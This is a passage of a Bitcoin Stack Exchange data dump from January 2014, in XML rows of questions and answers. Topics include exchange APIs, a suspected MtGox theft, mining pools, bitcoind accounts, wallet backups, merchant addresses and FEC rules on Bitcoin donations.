  <row Id="20315" PostTypeId="2" ParentId="20302" CreationDate="2014-01-11T07:31:41.800" Score="0" Body="&lt;p&gt;Also,basically,the creators of the new coins are hoping that they will become popular so that they can sell their coins for a profit.&lt;/p&gt;&#xA;" OwnerUserId="12065" LastActivityDate="2014-01-11T07:31:41.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20316" PostTypeId="1" CreationDate="2014-01-11T07:43:43.843" Score="3" ViewCount="484" Body="&lt;p&gt;Im trying to get my orders list or trades list via Btc-e Api but it always return 0 is bugged or what ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if (accountKey != null &amp;amp;&amp;amp; accountSecret != null)&#xA;            {&#xA;                btcApi = new BtceApi(accountKey, accountSecret);&#xA;                info = btcApi.GetInfo();&#xA;                int ceva=info.TransactionCount;&#xA;                var transHistory = btcApi.GetTransHistory();&#xA;                var tradeHistory = btcApi.GetTradeHistory(count: 20);&#xA;                var orderList = btcApi.GetOrderList(count: 20);&#xA;                var tList = BtceApiV3.GetTrades(new BtcePair[]{BtcePair.ltc_usd},20);&#xA;&#xA;&#xA;            }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12066" LastActivityDate="2016-06-05T04:42:59.983" Title="Order list or trades history Btce via api" Tags="|api|btce|trade|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20317" PostTypeId="2" ParentId="20302" CreationDate="2014-01-11T08:51:36.310" Score="0" Body="&lt;p&gt;Many altcoins will likely remain worthless forever, but people will assign a value to some, and those may be sustainable.&lt;/p&gt;&#xA;" OwnerUserId="12067" LastActivityDate="2014-01-11T08:51:36.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20320" PostTypeId="1" CreationDate="2014-01-11T10:50:59.147" Score="-1" ViewCount="1076" Body="&lt;p&gt;I have a mtgox without verification yet, opened in June of 2013, and recently I put in some 26btcs in December.&#xA;I begin to operate buying and selling and in January 8, I had 26,03 btcs and now I see that January 8, there were 3 withdrawals in seconds to a btc account, first one for 1 btc, the second one for 5 btcs, and the last one for 20 btcs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think a lot possibilities, first one is that somebody stole me, but I don't understand how it is possible to do a withdrawal without verification, because mtgox inform that is not possible without verification, and after that, the limit begins in 1 btc per day. So I don't understand anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other possibility is mtgox took my btc until I verify the account, but it is very rare mtgox  take my btc in three times and cost me 0, 0001 btd each one. So I don't believe a lot in that possibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, anyone are able to tell me something to help me…&lt;/p&gt;&#xA;" OwnerUserId="11835" LastEditorUserId="132" LastEditDate="2014-01-13T14:09:34.613" LastActivityDate="2014-02-02T12:36:57.187" Title="I lost bitcoins in mtgox, I don't know why and how" Tags="|mtgox|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20321" PostTypeId="2" ParentId="20310" CreationDate="2014-01-11T10:53:02.767" Score="1" Body="&lt;p&gt;Pruning the whole Bitcoin ledger information is possible, and there are some alternative clients that use that, to reduce de current block chain a lot, but recreating a new block chain with only the unspent outputs is not that easy as it sounds as that would require regenerating all the hashes according to the difficulty at each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even with the increasing hashing power (which is not guaranteed to continue that way) it will be an enormous task to recreate a pruned valid block chain. Also, there will be some problems with snapshot block hashes that are inside the client code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go for another system that avoid creating a valid block chain, then I think that it is already possible for non-mining nodes. Some light clients will trust some kind of central server that has the full block chain. That way, you can get a reduced version or just delegate transacion verification to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the client is modified that way for mining nodes having only one &quot;trusted&quot; server, it could be a solution, but then you have a centralized server and not a &lt;a href=&quot;https://en.wikipedia.org/wiki/Peer-to-peer&quot; rel=&quot;nofollow&quot;&gt;P2P&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to get a fully decentralized system you need to be able to trust no one and thus having all the information on your own is the only way without reimplementing the whole protocol to create a new reduced blockchain that is safe and unique. &lt;/p&gt;&#xA;" OwnerUserId="10574" LastEditorUserId="1405" LastEditDate="2014-01-12T11:18:24.600" LastActivityDate="2014-01-12T11:18:24.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20324" PostTypeId="1" CreationDate="2014-01-11T10:59:00.483" Score="2" ViewCount="16726" Body="&lt;p&gt;I'm thinking of developing a mining pool for myself and close friends.  I realize that there are large pools like BTC Guild, Slush, etc. that we could join, but I like the idea of creating my own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm taking delivery of 6 Neptune miners from KnC in Q2 that will give me 18 TH/s.  I know that's not a great deal, but it's a start...and my friends will add their own computing power as well.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be honest, I'm not a &quot;technical&quot; kinda guy; I'm a business man.  So here's my question(s):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) How would I go about developing a pool and handle automatic payouts?&#xA;2) How could I create a dashboard that allows my friends (and maybe one day the public) to see their mining activity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate and look forward to your responses. &lt;/p&gt;&#xA;" OwnerUserId="12068" LastActivityDate="2016-12-22T01:59:28.913" Title="Is 18 TH/s Enough to Start My Own Pool?" Tags="|mining-pools|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20325" PostTypeId="1" CreationDate="2014-01-11T11:01:09.703" Score="0" ViewCount="88" Body="&lt;p&gt;I'm messing around with the bitcoind daemon and I now stumbled upon accounts. As far as I now understand, my bitcoin installation has one wallet, which contains one or more addresses. In general, you will want to use an address to receive money on only once. So for every new incoming transaction I create a new address (&lt;code&gt;getnewaddress&lt;/code&gt;). As I list my available addresses I see that each address also has an account, which is in my installation always defined as &lt;code&gt;&quot;&quot;&lt;/code&gt; (empty). In the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;bitcoind API calls list&lt;/a&gt; I see a command called &lt;code&gt;setaccount&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now wonder though, what would I need an account for? Is that something similar to tagging emails (effectively grouping them together), or does an account entail something else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be common use-cases in which I would want to use accounts?&lt;/p&gt;&#xA;" OwnerUserId="11136" LastActivityDate="2014-07-10T19:29:56.733" Title="What would I need accounts for?" Tags="|bitcoin-core-accounts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20327" PostTypeId="2" ParentId="20320" CreationDate="2014-01-11T11:11:53.580" Score="0" Body="&lt;p&gt;Contact mtgox support so they can review your transactions, if you are not verified and you can not do withdrawals then it is a problem if their system so the must refund you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But probably that's not the case, you should check that the registered email is your email if everything is as it was when you left the account, probably a hacker got access to your email then to mtgox and changed your account settings to withdraw without your consent.&lt;/p&gt;&#xA;" OwnerUserId="10574" LastActivityDate="2014-01-11T11:11:53.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20328" PostTypeId="1" AcceptedAnswerId="20329" CreationDate="2014-01-11T11:13:43.687" Score="2" ViewCount="292" Body="&lt;p&gt;As of 2014, miners that successfully mine a block are entitled to 25 bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can miners refuse to receive those 25 bitcoins, thereby reducing the total number of bitcoins that will ever be mined?&lt;/p&gt;&#xA;" OwnerUserId="3837" LastEditorUserId="5406" LastEditDate="2016-03-11T10:19:44.197" LastActivityDate="2016-03-11T10:19:44.197" Title="Can a miner refuse it's reward?" Tags="|mining-reward|money-supply|mining-technical-details|" AnswerCount="1" CommentCount="2" ClosedDate="2018-03-17T10:33:34.793" ContentLicense="CC BY-SA 3.0" />
  <row Id="20329" PostTypeId="2" ParentId="20328" CreationDate="2014-01-11T11:25:17.667" Score="3" Body="&lt;p&gt;For the block to be valid there must be a coinbase transaction but it is only checked that it spends at much the reward and the fees generated in the transactions included in the block. &#xA;So it is possible to generate a valid block with a coinbase transaction spending less than the available coin and thus destroying coins forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can always send the reward to a random address in the hope that no one will ever be able to find it's private key and that it does not belongs to anyone.&lt;/p&gt;&#xA;" OwnerUserId="10574" LastEditorUserId="10574" LastEditDate="2014-01-14T15:50:44.927" LastActivityDate="2014-01-14T15:50:44.927" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20331" PostTypeId="1" AcceptedAnswerId="20345" CreationDate="2014-01-11T11:50:18.663" Score="1" ViewCount="2216" Body="&lt;p&gt;I just wanted to install bitcoin-qt on another machine (all others are working fine) but I cannot seem to retrieve the block chain using bitcoin-qt 0.8.6-beta (as downloaded from &lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/bitcoin-0.8.6/bitcoin-0.8.6-win32-setup.exe/download&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/bitcoin/files/Bitcoin/bitcoin-0.8.6/bitcoin-0.8.6-win32-setup.exe/download&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running bitcoin-qt (started as as administrator) on Windows 8 using a 3G data connection. After downloading a few thousand blocks the software keeps on quitting with the error &quot;failed to read block&quot;. When I restart the software it fetches another thounsand blocks and quits with the same error soon. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even a full reinstall (I additionally deleted the whole data directory in %APPDATA\Bitcoin) doesn's seem to help. Starting bitcoin-qt with &quot;-reindex&quot; didn't help either. I checked the hd-drive for errors but didn't find any. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I dong wrong?&lt;/p&gt;&#xA;" OwnerUserId="12072" LastActivityDate="2014-01-11T15:58:09.880" Title="bitcoin-qt keeps on quitting with &quot;failed to read block&quot;" Tags="|blockchain|bitcoin-core|client|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20335" PostTypeId="2" ParentId="20325" CreationDate="2014-01-11T14:23:16.223" Score="1" Body="&lt;p&gt;Have you read &lt;a href=&quot;https://en.bitcoin.it/wiki/Accounts_explained&quot; rel=&quot;nofollow&quot;&gt;the explanation on the Bitcoin wiki&lt;/a&gt; directly linked from the API calls list you already linked to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose the idea could be explained as the division of your wallet into sub-wallets called accounts. You can achieve the benefits of that by explicitly keeping separate wallets (if your bitcoin client allows that).  Account issues are well explained in the wiki article I linked to. You probably do not want to use accounts as suggested there, though, for creating individual customer accounts to receive payments; see the section on account weaknesses of the same wiki article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A hypothetical use case I could imagine would be wanting to separate your bitcoin expenses. Imagine you use your wallet for purchases relating to two different hobbies, two different donation-receiving public addresses,  and miscellaneous expenses. By creating five accounts, one for each of these, you can more easily keep track of what you spend (or receive) for each purpose, without the need to create individual wallets.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2014-01-11T14:23:16.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20336" PostTypeId="1" AcceptedAnswerId="20452" CreationDate="2014-01-11T14:36:27.303" Score="1" ViewCount="1623" Body="&lt;p&gt;I have installed the daemons of Bitcoin, &lt;a href=&quot;https://en.wikipedia.org/wiki/Litecoin&quot; rel=&quot;nofollow&quot;&gt;Litecoin&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/Dogecoin&quot; rel=&quot;nofollow&quot;&gt;Dogecoin&lt;/a&gt; on the same server. All three of them are up and running, but the Bitcoin daemon does not reply with anything when I run &lt;code&gt;bitcoind getinfo&lt;/code&gt;. It may be network issues or something like that. I have installed PHP on the same server and created an &lt;code&gt;index.php&lt;/code&gt; file in the &lt;code&gt;/var/www/&lt;/code&gt; folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Content of &lt;code&gt;index.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    include_once('Bitcoin.php');&#xA;    include_once('jsonRPCClient.php');&#xA;    $dogecoin = new jsonRPCClient('http://user:pass@localhost:8332/');&#xA;    print_r($dogecoin-&amp;gt;getinfo());&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Content of Bitcoin.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    class Bitcoin (&#xA;        // @var string&#xA;        private $username;&#xA;        // @var string&#xA;        private @password;&#xA;        // @var string&#xA;        private $url;&#xA;        // @var string&#xA;        private $id;&#xA;&#xA;        public function __construct($url,$username,$password)&#xA;        {&#xA;            $this-&amp;gt;url=$url;&#xA;            $this-&amp;gt;username = $username;&#xA;            $this-&amp;gt;password = $password;&#xA;            $this-&amp;gt;id = 1;&#xA;        }&#xA;&#xA;        public function __call($method,$params)&#xA;        {&#xA;            $params = array_values($params);&#xA;&#xA;            $request = json_encode(array(&#xA;                                       'method' =&amp;gt;strtolower($method),&#xA;                                       'params' =&amp;gt; $params,&#xA;                                       'id' =&amp;gt; $this-&amp;gt; id));&#xA;            $curl = curl_init();&#xA;            curl_setopt($curl,CURLOPT_RETURNTRANSFER, 1);&#xA;            curl_setopt($curl, CURLOPT_HTTPHEADER, Array(&quot;Content type:application/json&quot;));&#xA;            curl_setopt($curl, CURLOPT_URL, $this-&amp;gt;url);&#xA;            curl_setopt($curl, CURLOPT_USERPWD, $this-&amp;gt;username.&quot;:&quot;.$this-&amp;gt;password);&#xA;            curl_setopt($curl, CURLOPT_POST, TRUE);&#xA;            curl_setopt($curl, CURLOPT_POSTFIELDS, $request);&#xA;            $response = curl_exec($curl);&#xA;            curl_close($curl);&#xA;&#xA;            if(!$resposne)&#xA;            {&#xA;                throw new Exception('Unable to connect to '.$this-&amp;gt;url, 0);&#xA;            }&#xA;            $response = json_decode($response,true);&#xA;        }&#xA;&#xA;        Then there are a condition to throw a different error upon a different situation.&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10829" LastEditorUserId="1405" LastEditDate="2014-01-12T17:42:21.103" LastActivityDate="2014-10-30T15:10:27.940" Title="Problem integrating Bitcoin daemon with PHP" Tags="|bitcoind|php|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20337" PostTypeId="2" ParentId="20324" CreationDate="2014-01-11T14:39:13.567" Score="0" Body="&lt;p&gt;welcome to bitcoin stack exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;its generally frowned upon to ask for entire walkthroughs of large projects. It's suggested that you instead make some attempt at the problem first, and state what you have done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer the question in the title of your post, yes, you will find a block every 6-10 days with 18 TH/s depending on the increase in difficulty by then (currently you would find one every 4 days). You can better project the time taken by consulting a chart on difficulty. That is still a fair amount of luck though, so if you are risk averse it would benefit you to join a pool.&lt;/p&gt;&#xA;" OwnerUserId="7144" LastActivityDate="2014-01-11T14:39:13.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20339" PostTypeId="2" ParentId="20324" CreationDate="2014-01-11T14:50:43.993" Score="2" Body="&lt;p&gt;Setting up a mining pool will require some programming, so based on your self-identification as a business man, I would suggest to start with asking yourself how much this will be worth to you. Many would say that running a bitcoin pool is likely a bit of an altruistic endeavour: If you want to attract people to join your pool, you are competing with others. This competition drives pool payouts close to 100% payout of block reward plus earned transaction fees plus free insurance against the stochastic nature of actually finding a block, and possibly against the pool making a mistake such as losing bitcoin temporarily stored for participants.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you are a business man through and through, there might yet be a profit motive to be found: Successfully running a pool certainly will gain you credentials in the bitcoin world, which could be valuable for doing other bitcoin business. Then hypothetically having a large pool could help in offering future services like enabling bitcoin businesses to more quickly accept bitcoin payments by insuring against double spending. Finally, I have been wondering about pairing a mining pool with a bingo-like gambling element, where customers could bet on when the pool will next find a block (for the combined effect of extra revenue and helping to insure the pool operator against not finding a block for a prolonged time). Note that both the payment insurance and the gambling idea is likely to raise legal issues and may be expensive to start in a law-abiding way due to legal/licensing overhead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether running a pool is worth it to you depends on the value you attach to all of that. To help you make an estimate, consider that with your hashrate of 18 TH/s you'd contribute 0.15% of the total hashrate today (and less tomorrow), see e.g. &lt;a href=&quot;http://bitcoincharts.com/bitcoin/&quot; rel=&quot;nofollow&quot;&gt;the stats page bitcoincharts.com/bitcoin&lt;/a&gt;. That means you need to wait, on average, about 670 blocks or approximately five days until you find a block, with actual values fluctuating wildly according to the &lt;a href=&quot;https://en.wikipedia.org/wiki/Poisson_distribution&quot; rel=&quot;nofollow&quot;&gt;Poisson distribution&lt;/a&gt;, provided none of your miners maliciously cheats and withholds blocks found. Hence you will either need tremendous tolerance about actual block rewards and payouts possibly diverging purely by chance, or more hash power. Or a vain or altruistic outlook on this project, or a side business associated with running the mining pool.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2014-01-11T14:58:58.997" LastActivityDate="2014-01-11T14:58:58.997" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20342" PostTypeId="1" CreationDate="2014-01-11T15:30:29.910" Score="0" ViewCount="50" Body="&lt;p&gt;my bitcoin-qt client'data is at the &quot;C:\Documents and Settings\Administrator\Application Data\Bitcoin&quot;, but i can't find the blk0001.bat and blkindex.bat two files on this dir&lt;/p&gt;&#xA;" OwnerUserId="12078" LastActivityDate="2014-01-11T18:10:31.540" Title="why i can't find blk0001.bat and blkindex.bat on my computer" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20343" PostTypeId="1" CreationDate="2014-01-11T15:40:00.313" Score="-1" ViewCount="192" Body="&lt;p&gt;I wish to start mining but I could not since I do not have a bitcoin address. Where can I create this address?&lt;/p&gt;&#xA;" OwnerUserId="12079" LastEditorUserId="132" LastEditDate="2014-01-13T21:55:53.143" LastActivityDate="2014-01-13T21:56:36.897" Title="Where can I create a bitcoin address?" Tags="|client|address|" AnswerCount="4" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20344" PostTypeId="2" ParentId="20343" CreationDate="2014-01-11T15:49:22.430" Score="2" Body="&lt;p&gt;Assuming you have the Qt Client, click on the &lt;strong&gt;Receive&lt;/strong&gt; button on the top, you will have one address there by default. Click on &lt;strong&gt;New Address&lt;/strong&gt; at the bottom left to get a new address.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-01-11T15:49:22.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20345" PostTypeId="2" ParentId="20331" CreationDate="2014-01-11T15:58:09.880" Score="0" Body="&lt;p&gt;Start bitcoin-qt in a new command prompt with the flag &lt;strong&gt;-reindex&lt;/strong&gt; after you make sure your 3G provider doesn't block your downloads after a certain threshold.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-01-11T15:58:09.880" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20346" PostTypeId="1" AcceptedAnswerId="20349" CreationDate="2014-01-11T16:13:53.607" Score="3" ViewCount="423" Body="&lt;p&gt;I am currently accepting bitcoins as payment at &lt;a href=&quot;http://www.ometepebeachhotel.com&quot; rel=&quot;nofollow&quot;&gt;my hotel&lt;/a&gt;, but I am uncertain about the payment address(es). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I prefer to avoid payment service such as BitPay and &lt;a href=&quot;https://en.wikipedia.org/wiki/Coinbase&quot; rel=&quot;nofollow&quot;&gt;Coinbase&lt;/a&gt; to mention a few. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this moment, the idea is that when a client books a room online he receives an invoice in US$ amounts by email with the payment options. In order to confirm his booking, he can then decide to pay in cash, credit/debit cards or bitcoins and replies by email or in person. In case of bitcoins, I, as the merchant, will send him an email (or inform at the reception) with the conversion rate US$/BTC and ask the client to transfer x BTC to my address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My preference is just to show my payment address or &lt;a href=&quot;https://en.wikipedia.org/wiki/QR_code&quot; rel=&quot;nofollow&quot;&gt;QR code&lt;/a&gt; on my website, but I would like to know the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can I use the same payment address (how long?) or is it really important to create a new address for each client?&lt;/li&gt;&#xA;&lt;li&gt;What best practises would you recommend for a legal and transparent merchant?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9591" LastEditorUserId="1405" LastEditDate="2014-01-12T12:58:04.147" LastActivityDate="2014-02-21T06:35:58.530" Title="As a small hotel accepting bitcoins, do I show only one payment address?" Tags="|bitcoin-core|address|payment|merchants|business|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20349" PostTypeId="2" ParentId="20346" CreationDate="2014-01-11T16:24:45.610" Score="4" Body="&lt;p&gt;Creating a new address for every transaction (not just every single client) will allow you to maximize your payment tracking capabilities. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you have a single address for all of your payments it's really hard to track who sent you what. This will start changing from 0.9 on, but for now we have to stick to what is already implemented. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having one address per customer will allow you to track payments although it's a bit of a challenge to get a customer's equity for a given period of time, as you will have to take into account your outgoing transactions as well, if any. In this case, of course, a customer must have a user account in your online booking system and you must then persist the user account model in a way that its unique identifier (be it the user's email address or account id) will have a 1-to-1 relationship in your DB.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-01-11T16:24:45.610" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20353" PostTypeId="1" AcceptedAnswerId="20361" CreationDate="2014-01-11T17:50:27.670" Score="3" ViewCount="114" Body="&lt;p&gt;Let's say I have a wallet backup burned on a CD. In that moment I have 10 coins. And I start to make transactions. Then my hard-drive crashes and in the moment of crash I have 20 coins. When I restore my wallet.dat from CD what I see in Bitcoin wallet? I need to make a backup after each transaction?&lt;/p&gt;&#xA;" OwnerUserId="12086" LastActivityDate="2014-01-11T18:50:27.583" Title="What is happening after backup?" Tags="|wallet|bitcoin-core|backup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20355" PostTypeId="2" ParentId="1480" CreationDate="2014-01-11T17:58:22.477" Score="1" Body="&lt;p&gt;I've been using &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt; and MixBit (&lt;a href=&quot;http://mixbity3bxwsqmnn.onion&quot; rel=&quot;nofollow&quot;&gt;mixbity3bxwsqmnn.onion&lt;/a&gt;). I really like the fact that MixBit works in Tor and doesn't need javascript nor account. &lt;/p&gt;&#xA;" OwnerUserId="12087" LastActivityDate="2014-01-11T17:58:22.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20356" PostTypeId="1" AcceptedAnswerId="22280" CreationDate="2014-01-11T18:04:01.673" Score="4" ViewCount="12226" Body="&lt;p&gt;I want to know when BTC-E charges it's 0.2% fee on a cancelled buy/sell order...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;When placed but 0% completed&lt;/li&gt;&#xA;&lt;li&gt;When placed but partially completed&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;How much are you billed in each case?&lt;/p&gt;&#xA;" OwnerUserId="6520" LastActivityDate="2018-02-02T23:39:07.077" Title="Does cancelling an order in BTC-E carry a fee?" Tags="|trading|buy-bitcoins|sell-bitcoins|btce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20358" PostTypeId="2" ParentId="20342" CreationDate="2014-01-11T18:10:31.540" Score="2" Body="&lt;p&gt;The extension of file names you are looking for is &lt;code&gt;.dat&lt;/code&gt;, not &lt;code&gt;.bat&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-01-11T18:10:31.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20361" PostTypeId="2" ParentId="20353" CreationDate="2014-01-11T18:50:27.583" Score="0" Body="&lt;p&gt;Assuming you have not created any new bitcoin addresses from the time that you had only 10 coins, your balance will remain intact (20 BTC) when you load your private keys into another client. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, your client doesn't store your coins locally, it only stores a reference (through your keys) to the unspent transactions that have been received by your addresses which at a high level compose your wallet's balance.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-01-11T18:50:27.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20362" PostTypeId="1" CreationDate="2014-01-11T19:01:00.257" Score="6" ViewCount="373" Body="&lt;h2&gt;Background&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Recently, Rep. Steve Stockman posed for a &lt;a href=&quot;http://www.businessinsider.com/steve-stockman-is-accepting-bitcoins-2014-1&quot;&gt;photo op&lt;/a&gt; with &lt;a href=&quot;http://blockexplorer.com/address/1EVJyd8TbHBMUiMn6ogQ1PXbqoEZVp31Hz&quot;&gt;his Bitcoin address&lt;/a&gt; on a big QR code, which got &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1u53yf/congressman_steve_stockman_accepting_btc_at/&quot;&gt;shared&lt;/a&gt;. He has a &lt;a href=&quot;https://stockman2014.com/bitcoin-donation&quot;&gt;Bitcoin donation page&lt;/a&gt; which asks for identifying info and goes through BitPay, but of course anyone could send him Bitcoin anonymously, &lt;em&gt;without&lt;/em&gt; using that page, if they know the address to send it to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://www.lp.org/make-a-bitcoin-contribution&quot;&gt;Libertarian Party&lt;/a&gt; and &lt;a href=&quot;http://coinpac.org/contribute.html&quot;&gt;CoinPAC&lt;/a&gt; have Bitcoin donation pages that &lt;em&gt;don't&lt;/em&gt; outright list their addresses, but block chain analysis of a donation would probably reveal their main address(es), and those addresses might have received contributions that didn't go through the donation pages. (The LP's page doesn't even require giving your info for it to show you the donation address.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stockman &amp;amp; LP's donation pages use &lt;a href=&quot;https://bitpay.com/&quot;&gt;BitPay&lt;/a&gt;; CoinPAC's uses &lt;a href=&quot;https://www.bitcoinbuilder.com/&quot;&gt;Bitcoin Builder&lt;/a&gt; (which in turn uses &lt;a href=&quot;https://coinbase.com/&quot;&gt;Coinbase&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://livingstonlibertarians.org/&quot;&gt;Livingston County Libertarian Party&lt;/a&gt; (&lt;a href=&quot;http://blockexplorer.com/address/17T3xM9BWfw28YGUuBU3KYUF5gGRALh1fB&quot;&gt;addr&lt;/a&gt;) and &lt;a href=&quot;http://jimfulner.com/contact.html&quot;&gt;Jim Fulner&lt;/a&gt; (&lt;a href=&quot;http://blockexplorer.com/address/194TQCmRBJGo456juzxBaJRh6LzKvtu996&quot;&gt;addr&lt;/a&gt;) publish their Bitcoin addresses openly on their websites, and the &lt;a href=&quot;http://bitcoinvoterspac.org&quot;&gt;Bitcoin Voters PAC&lt;/a&gt; published a list of their Bitcoin addresses in &lt;a href=&quot;http://docquery.fec.gov/pdf/794/14031144794/14031144794.pdf&quot;&gt;their official FEC registration filing&lt;/a&gt;‡. None of them even have Bitcoin donation pages that collect info, so of course &lt;em&gt;anything&lt;/em&gt; sent to them presumably wasn't properly attributed.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Problem&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The FEC requires PACs to know the identity of all contributors (&lt;em&gt;especially&lt;/em&gt; for &quot;in-kind&quot; contributions, i.e. anything other than fiat currency). If any of the above received any Bitcoin contributions that didn't get attributed to a specific person (e.g. by going through a donation page that requires disclosing your ID before telling you the address to donate to), that'd probably be an unlawful unidentified in-kind contribution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;a href=&quot;https://makeyourlaws.org/fec/bitcoin&quot;&gt;our upcoming FEC advisory opinion request about how to handle Bitcoin&lt;/a&gt;, I'd like to have example(s) of how:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;it's not possible to &quot;refuse&quot; a Bitcoin transaction &lt;em&gt;(e.g. someone contributing to the above outside of their donation pages)&lt;/em&gt; &lt;/li&gt;&#xA;&lt;li&gt;it's not possible to reliably refund a Bitcoin to the control of the person who sent it &lt;em&gt;(e.g. a transaction that was laundered or came from an exchange)&lt;/em&gt; &lt;/li&gt;&#xA;&lt;li&gt;some transactions are worth less than they cost to get rid of &lt;em&gt;(e.g. dust or complex / intentionally large-byte-size transactions)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Our request proposes a framework for how to deal with these problems (e.g. one could donate unattributed Bitcoin contributions to a charity). I just want real-life examples I can point to that show it's not a purely theoretical 